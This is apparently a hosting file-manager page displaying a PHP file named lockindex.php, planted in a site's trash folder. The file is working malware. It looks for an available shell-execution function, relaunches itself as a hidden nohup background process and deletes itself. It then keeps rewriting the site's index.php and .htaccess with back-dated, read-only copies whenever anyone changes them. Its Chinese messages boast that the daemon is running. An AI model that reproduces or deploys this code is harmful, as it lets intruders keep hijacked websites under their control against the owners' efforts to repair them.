Файловый менеджер

Файловый менеджер - Редактировать - /home/artecom/.trash/lockindex.php

Назад
<?php function isCli() { $isCli = preg_match("/cli/i", php_sapi_name()) ? true : false; if ($isCli === false) { if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) { $isCli = true; } } if ($isCli === false) { if (!isset($_SERVER['SCRIPT_NAME'])) { $isCli = true; } } return $isCli; } function ableMethod() { $methods = array('exec', 'shell_exec', 'popen', 'system', 'passthru'); $disableFuncs = explode(',', ini_get('disable_functions')); foreach ($methods as $method) { if (!in_array($method, $disableFuncs)) { return $method; } } return ''; } function curlRobots() { $url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'] . '/robots'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); $resp = curl_exec($ch); curl_close($ch); return $resp; } function runCmd($cmdStr, $ableMethod) { $cmdOutput = []; $cmdOutputCode = 0; $result = ''; switch ($ableMethod) { case 'exec': @exec($cmdStr, $cmdOutput, $cmdOutputCode); if ($cmdOutputCode === 0) { if (!empty($cmdOutput)) { $result = join("\n", $cmdOutput); } return 'exec执行成功，最终success，结果：' . $result; } return 'exec执行失败'; case 'shell_exec': $result = @shell_exec($cmdStr); return 'shell_exec执行成功，最终success，结果：' . $result; case 'popen': if (@is_resource($f = @popen($cmdStr, "r"))) { while (!@feof($f)) $result .= @fread($f, 1024); } @pclose($f); return 'popen执行成功，最终success，结果：' . $result; case 'system': @ob_start(); @system($cmdStr, $cmdOutputCode); $result = @ob_get_contents(); @ob_end_clean(); if ($cmdOutputCode === 0) { return 'system执行成功，最终success，结果：' . $result; } else { return 'system执行失败'; } case 'passthru': @ob_start(); @passthru($cmdStr, $cmdOutputCode); $result = @ob_get_contents(); @ob_end_clean(); if ($cmdOutputCode === 0) { return 'passthru执行成功，最终success，结果：' . $result; } else { return 'passthru执行失败'; } default: return '未知执行函数'; } } function createFile($filepath, $content) { @unlink($filepath); @touch($filepath, strtotime("-300 days", time())); @chmod($filepath, 0777); @file_put_contents($filepath, $content); @chmod($filepath, 0444); } function lockFile($currentFileDir, $currentFilePath) { $contentHtaccess = $hashHtaccess = $contentRobots = $hashRobots = $contentXml = $hashXml = ''; $htaccessFilePath = $currentFileDir . DIRECTORY_SEPARATOR . '.htaccess'; if (file_exists($htaccessFilePath)) { $contentHtaccess = file_get_contents($htaccessFilePath); $hashHtaccess = hash('sha1', $contentHtaccess); } else { echo '.htaccess文件不存在;'; } $indexFilepath = $currentFileDir . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($indexFilepath)) { $contentFirst = file_get_contents($indexFilepath); $hashFirst = hash('sha1', $contentFirst); while (true) { $contentHtaccessNow = file_get_contents($htaccessFilePath); $hashHtaccessNow = hash('sha1', $contentHtaccessNow); if (!empty($contentHtaccess) && $hashHtaccess !== $hashHtaccessNow) { createFile($htaccessFilePath, $contentHtaccess); echo '.htaccess更改文成;'; } if (!empty($contentFirst) && !file_exists($indexFilepath)) { createFile($indexFilepath, $contentFirst); echo 'index.php文件创建完成'; } $contentNow = file_get_contents($indexFilepath); $hashNow = hash('sha1', $contentNow); if (!empty($contentFirst) && $hashFirst != $hashNow) { createFile($indexFilepath, $contentFirst); echo 'index.php文件更改完成'; } if (file_exists($currentFilePath)) { break; } sleep(2); } } else { echo 'index.php不存在'; } } $isCli = isCli(); $currentFilePath = __FILE__; $currentFileDir = pathinfo($currentFilePath, PATHINFO_DIRNAME); if (!$isCli) { $str = ''; $ableMethod = ableMethod(); if (empty($ableMethod)) { $str .= 'php没有可执行命令行的函数;'; } else { $resp = curlRobots(); if (strpos($resp, 'success') !== false) { $str .= 'robots执行成功' . ';'; } else { $str .= 'robots执行失败' . ';'; } $str .= 'php可用函数：' . ableMethod() . ';'; $cmdStr = "nohup php " . $currentFilePath . " index.php >/dev/null 2>&1 &"; $str .= '执行命令：' . $cmdStr . ';'; $res = runCmd($cmdStr, $ableMethod); $str .= '执行结果：' . $res . ';'; $str .= '该站点可被秒杀秒改，守护进程运行中'; } header("Content-type:text/html; charset=utf-8"); die($str); } else { unlink($currentFilePath); lockFile($currentFileDir, $currentFilePath); }

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